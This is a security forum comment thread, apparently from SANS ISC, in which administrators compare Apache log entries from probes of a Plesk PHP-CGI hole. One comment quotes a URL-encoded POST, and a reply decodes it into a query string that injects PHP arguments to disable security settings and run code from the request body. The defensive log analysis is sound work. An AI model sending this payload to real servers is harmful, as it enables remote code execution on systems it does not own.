SANS ISC: Plesk 0-day: Real or not?

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Botnet using Plesk vulnerability and takedown http://seclists.org/fulldisclosure/2013/Jun/36

On a Plesk 10.3-based CentOS 5 system, I instead see the following in /etc/httpd/conf.d/php_cgi.conf so I guess the vulnerable configuration might be an earlier version of Plesk:

scriptAlias /phppath/ "/var/www/cgi-bin/cgi_wrapper/"

This looks like an (unsuccessful) probe, it is not legitimate traffic:

82.195.239.50 - - [07/Jun/2013:20:34:26 +0100] "GET /phppath/php HTTP/1.0" 404

Also seen hitting two other hosts. In each case these probes went to the 'default' HTTP virtual host:

178.79.161.86 - - [07/Jun/2013:07:27:19 +0100] "GET /phppath/php HTTP/1.0" 404 209
178.79.161.86 - - [07/Jun/2013:07:27:19 +0100] "GET /phppath/php HTTP/1.0" 404 209

78.46.64.21 - - [07/Jun/2013:10:15:21 +0000] "GET /phppath/php HTTP/1.0" 404

Long-time reader, first-time submitter...

My Apache server got the following POST this morning:

70.86.135.250 - - [08/Jun/2013:05:02:19 -0700] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 296

The decoded URL begins with "/phppath/php", so I thought it might be an instance of this Plesk exploit. (The rest of the decoded URL is just gibberish to me; feel free to remove it if it's somehow dangerous, an unpublished PoC or whatnot.) Is it? I don't capture UserAgent so I don't know whether the client was claiming to be GoogleBot; I also don't run any scripting in Apache so the attack was moot in any case.

(The source IP seems to belong to ThePlanet.com, in Dallas.)

Indeed, this is the phpbb exploit. The full decode:

/phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=input -n

so in short, he is trying to turn off various security settings in php, then just use stdin as a default prepend file. (that part if probably in the POST?)

Johannes, thanks for confirming that.

I don't save the requests, so I can't confirm that there was any further payload there. (I don't even run PHP, or any other Apache modules, so I'm generally pretty amused when I see messages like this in the access log.)